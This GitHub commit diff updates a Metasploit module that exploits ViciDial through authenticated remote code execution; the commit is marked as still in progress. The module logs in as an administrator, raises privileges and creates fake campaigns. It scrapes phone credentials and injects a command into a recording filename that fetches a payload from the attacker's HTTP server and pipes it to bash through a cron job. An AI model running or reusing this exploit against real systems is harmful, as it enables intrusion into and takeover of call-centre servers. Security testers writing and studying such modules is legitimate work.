Skip to content

Commit

Permalink
Update (still working on it)
Browse files Browse the repository at this point in the history
  • Loading branch information
Chocapikk committed Sep 17, 2024
1 parent 17838e6 commit 005dc49
Showing 1 changed file with 141 additions and 76 deletions.
217 changes: 141 additions & 76 deletions modules/exploits/unix/webapp/vicidial_agent_authenticated_rce.rb
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,7 @@

class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer

def initialize(info = {})
super(
Expand Down Expand Up @@ -33,26 +34,23 @@ def initialize(info = {})
[
'Unix/Linux Command Shell', {
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
'Arch' => ARCH_CMD,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp'
}
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'PHP Command Shell', {
'Platform' => 'php',
'Arch' => ARCH_PHP
# tested with php/meterpreter/reverse_tcp
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'WfsDelay' => 300,
'HTTPDELAY' => 300
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
},
'Payload' => {
'BadChars' => '/'
}
)
)
Expand All @@ -63,13 +61,43 @@ def initialize(info = {})
])
end

def primer
@resource_name_payload = Rex::Text.rand_text_alpha(8)

add_resource(
'Path' => "/#{@resource_name_payload}",
'Proc' => proc { |cli, req| on_request_uri_payload(cli, req) }
)

print_status("Payload is ready at /#{@resource_name_payload}")
end

def on_request_uri_payload(cli, request)
handle_request(cli, request, @resource_name_payload, payload.encoded)
end

def handle_request(cli, request, resource_name, response_payload)
print_status("Received request at: #{request.uri}")
print_status("Client Address: #{cli.peerhost}")

if request.uri =~ %r{/#{resource_name}}
print_status("Sending response to #{cli.peerhost} for /#{resource_name}")
send_response(cli, response_payload)
else
print_error("Request for unknown resource: #{request.uri}")
send_not_found(cli)
end
end

def exploit
start_service
print_status('Server started.')

primer

username = datastore['USERNAME']
password = datastore['PASSWORD']

session = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['RPORT'])
session.connect

# Authenticate using administrator credentials
credentials = "#{username}:#{password}"
credentials_base64 = Rex::Text.encode_base64(credentials)
Expand All @@ -94,7 +122,6 @@ def exploit

print_good("Authenticated successfully as user '#{username}'")

# Update user settings to increase privileges beyond default administrator
user_settings_body = {
'ADD' => '4A', 'custom_fields_modify' => '0', 'user' => username, 'DB' => '0', 'pass' => password,
'force_change_password' => 'N', 'full_name' => 'KoreLogic', 'user_level' => '9',
Expand Down Expand Up @@ -190,13 +217,32 @@ def exploit

print_good('Updated system settings')

# Create dummy campaign
# Generate a fake company name and campaign ID using Faker
fake_company_name = Faker::Company.name
fake_campaign_id = Faker::Number.number(digits: 6).to_i
fake_list_id = fake_campaign_id + 1
fake_list_name = "#{fake_company_name} List"

# Create dummy campaign with fake data
campaign_settings_body = {
'ADD' => '21', 'park_ext' => '', 'campaign_id' => '313373', 'campaign_name' => 'korelogic_campaign',
'campaign_description' => '', 'user_group' => '---ALL---', 'active' => 'Y', 'park_file_name' => '',
'web_form_address' => '', 'allow_closers' => 'Y', 'hopper_level' => '1', 'auto_dial_level' => '0',
'next_agent_call' => 'random', 'local_call_time' => '12pm-5pm', 'voicemail_ext' => '', 'script_id' => '',
'get_call_launch' => 'NONE', 'SUBMIT' => 'SUBMIT'
'ADD' => '21',
'park_ext' => '',
'campaign_id' => fake_campaign_id,
'campaign_name' => fake_company_name,
'campaign_description' => '',
'user_group' => '---ALL---',
'active' => 'Y',
'park_file_name' => '',
'web_form_address' => '',
'allow_closers' => 'Y',
'hopper_level' => '1',
'auto_dial_level' => '0',
'next_agent_call' => 'random',
'local_call_time' => '12pm-11pm',
'voicemail_ext' => '',
'script_id' => '',
'get_call_launch' => 'NONE',
'SUBMIT' => 'SUBMIT'
}

send_request_cgi({
Expand All @@ -207,31 +253,17 @@ def exploit
'keep_cookies' => true
})

print_good('Created dummy campaign "korelogic_campaign"')

# Update dummy campaign
update_campaign_body = {
'ADD' => '41', 'campaign_id' => '313373', 'old_campaign_allow_inbound' => 'Y',
'campaign_name' => 'korelogic_campaign', 'active' => 'Y', 'dial_status' => '', 'lead_order' => 'DOWN',
'list_order_mix' => 'DISABLED', 'lead_filter_id' => 'NONE', 'no_hopper_leads_logins' => 'Y',
'hopper_level' => '1', 'reset_hopper' => 'N', 'dial_method' => 'RATIO', 'auto_dial_level' => '1',
'adaptive_intensity' => '0', 'SUBMIT' => 'SUBMIT', 'form_end' => 'END'
}

send_request_cgi({
'uri' => target_uri,
'method' => 'POST',
'headers' => request_headers,
'vars_post' => update_campaign_body,
'keep_cookies' => true
})

print_good('Updated dummy campaign settings')
print_good("Created dummy campaign '#{fake_company_name}'")

# Create dummy list
# Create dummy list with the incremented campaign ID and modified list name
list_settings_body = {
'ADD' => '211', 'list_id' => '313374', 'list_name' => 'korelogic_list', 'list_description' => '',
'campaign_id' => '313373', 'active' => 'Y', 'SUBMIT' => 'SUBMIT'
'ADD' => '211',
'list_id' => fake_list_id,
'list_name' => fake_list_name,
'list_description' => '',
'campaign_id' => fake_campaign_id,
'active' => 'Y',
'SUBMIT' => 'SUBMIT'
}

send_request_cgi({
Expand All @@ -242,7 +274,7 @@ def exploit
'keep_cookies' => true
})

print_good('Created dummy list for campaign')
print_good("Created dummy list '#{fake_list_name}' for campaign '#{fake_company_name}'")

# Fetch credentials for a phone login
res = send_request_cgi({
Expand All @@ -253,30 +285,37 @@ def exploit
'keep_cookies' => true
})

unless res
print_error('Failed to fetch phone credentials')
return
end
# Check if the response is valid
fail_with(Failure::NotFound, 'Failed to fetch phone credentials') unless res

phone_uri_path = res.get_html_document.at_css('a:contains("MODIFY")')['href']
# Safely extract the "MODIFY" link using the safe navigation operator
phone_uri_path = res.get_html_document.at_css('a:contains("MODIFY")')&.get_attribute('href')

# Ensure the href was found
fail_with(Failure::NotFound, 'Failed to find the "MODIFY" link in the phone credentials page') unless phone_uri_path

# Fetch the phone credentials page
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], phone_uri_path),
'method' => 'GET',
'headers' => request_headers,
'keep_cookies' => true
})

unless res
print_error('Failed to fetch phone credentials')
return
end
# Check if the response is valid
fail_with(Failure::NotFound, 'Failed to fetch phone credentials page') unless res

phone_extension = res.get_html_document.at_css('input[name="extension"]')['value']
phone_password = res.get_html_document.at_css('input[name="pass"]')['value']
recording_extension = res.get_html_document.at_css('input[name="recording_exten"]')['value']
# Safely retrieve the input values for phone credentials
phone_extension = res.get_html_document.at_css('input[name="extension"]')&.get_attribute('value')
phone_password = res.get_html_document.at_css('input[name="pass"]')&.get_attribute('value')
recording_extension = res.get_html_document.at_css('input[name="recording_exten"]')&.get_attribute('value')

print_good("Found phone credentials: #{phone_extension}:#{phone_password}")
# Ensure all values were successfully retrieved
if phone_extension && phone_password && recording_extension
print_good("Found phone credentials: Extension=#{phone_extension}, Password=#{phone_password}, Recording Extension=#{recording_extension}")
else
fail_with(Failure::NotFound, 'Failed to retrieve one or more phone credentials from the page')
end

# Make POST request to /agc/vdc_db_query.php to retrieve hidden input fields
# (this is the fixed bug, dynamic field names need to be retrieved)
Expand All @@ -287,22 +326,33 @@ def exploit
'format' => 'html'
}

# Send the request to retrieve hidden input fields
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'vdc_db_query.php'),
'method' => 'POST',
'vars_post' => vdc_db_query_body,
'keep_cookies' => true
})

unless res
print_error('Failed to retrieve hidden input fields')
return
end
# Check if the response is valid
fail_with(Failure::NotFound, 'Failed to retrieve hidden input fields') unless res

# Parse the HTML document
doc = res.get_html_document

mgr_login_name = res.get_html_document.at_css('input[name^="MGR_login"]')['name']
mgr_pass_name = res.get_html_document.at_css('input[name^="MGR_pass"]')['name']
# Safely retrieve the dynamic field names for MGR login and pass
mgr_login_name = doc.at_css('input[name^="MGR_login"]')&.get_attribute('name')
mgr_pass_name = doc.at_css('input[name^="MGR_pass"]')&.get_attribute('name')

print_good("Retrieved dynamic field names: #{mgr_login_name}, #{mgr_pass_name}")
# Ensure that both dynamic field names were successfully retrieved
if mgr_login_name.nil? || mgr_pass_name.nil?
today_date = Time.now.strftime('%Y%m%d')
mgr_login_name = "MGR_login#{today_date}"
mgr_pass_name = "MGR_pass#{today_date}"
print_status("Constructed dynamic field names manually: #{mgr_login_name}, #{mgr_pass_name}")
else
print_good("Retrieved dynamic field names: #{mgr_login_name}, #{mgr_pass_name}")
end

# Authenticate to agent portal with phone credentials
manager_login_body = {
Expand All @@ -324,9 +374,8 @@ def exploit
print_good('Entered "manager" credentials to override shift enforcement')

agent_login_body = {
'DB' => '0', 'JS_browser_height' => '1313', 'JS_browser_width' => '2560', 'admin_test' => '', 'LOGINvarONE' => '',
'LOGINvarTWO' => '', 'LOGINvarTHREE' => '', 'LOGINvarFOUR' => '', 'LOGINvarFIVE' => '', 'phone_login' => phone_extension,
'phone_pass' => phone_password, 'VD_login' => username, 'VD_pass' => password, 'VD_campaign' => '313373'
'DB' => '0', 'JS_browser_height' => '1313', 'JS_browser_width' => '2560', 'phone_login' => phone_extension,
'phone_pass' => phone_password, 'VD_login' => username, 'VD_pass' => password, 'VD_campaign' => fake_campaign_id
}

res = send_request_cgi({
Expand All @@ -340,14 +389,31 @@ def exploit
print_good('Authenticated as agent using phone credentials')

# Insert malicious recording
session_name = res.get_html_document.at_css("script:contains('var session_name =')").text.match(/var session_name = '([a-zA-Z0-9_]+)';/)[1]
session_id = res.get_html_document.at_css("script:contains('var session_id =')").text.match(/var session_id = '([0-9]+)';/)[1]
session_name_element = res.get_html_document.at_css("script:contains('var session_name =')")
session_id_element = res.get_html_document.at_css("script:contains('var session_id =')")
print_status(res.body)
if session_name_element.nil? || session_id_element.nil?
fail_with(Failure::NotFound, 'Failed to retrieve session information: session_name or session_id element is missing')
end

session_name = session_name_element.text.match(/var session_name = '([a-zA-Z0-9_]+)';/)[1]
session_id = session_id_element.text.match(/var session_id = '([0-9]+)';/)[1]

if session_name.nil? || session_id.nil?
fail_with(Failure::NotFound, 'Failed to retrieve session information: session_name or session_id is nil')
end

# hex_encoded_payload = "curl balno.requestcatcher.com".unpack('H*').first
# formatted_payload = hex_encoded_payload.scan(/../).map { |x| "\\\\x#{x}" }.join
command = 'curl balgo.requestcatcher.com'
print_status("Payload: #{command}")
malicious_filename = "3133731337$(#{command})"
url_regex = %r{(http://[^\s/]+)}
print_status(payload.encoded)
full_url = payload.encoded.match(url_regex) ? (payload.encoded.match(url_regex)[1]).to_s : nil

print_status("Full URL: #{get_uri}")
malicious_filename = "$(curl$IFS$(base64$IFS-d<<<#{Rex::Text.encode_base64(full_url)})|bash)"

# Afficher la commande malveillante générée
print_status("Generated malicious command: #{malicious_filename}")

record1_body = {
'server_ip' => datastore['RHOSTS'], 'session_name' => session_name, 'user' => username, 'pass' => password,
Expand All @@ -365,7 +431,7 @@ def exploit
})

recording_id = res.body.match(/RecorDing_ID: ([0-9]+)/)[1]

print_status(res.body)
# Stop malicious recording to prevent file size from growing
record2_body = {
'server_ip' => datastore['RHOSTS'], 'session_name' => session_name, 'user' => username,
Expand All @@ -385,7 +451,6 @@ def exploit
print_good('Stopped malicious recording to prevent file size from growing')

# Wait for 2 minutes to allow the cron job to execute the payload
print_status('Waiting for 2 minutes to allow the cron job to execute the payload...')
Rex.sleep(120)
print_status("Waiting for #{datastore['WfsDelay']} seconds to allow the cron job to execute the payload...")
end
end

0 comments on commit 005dc49

Please sign in to comment.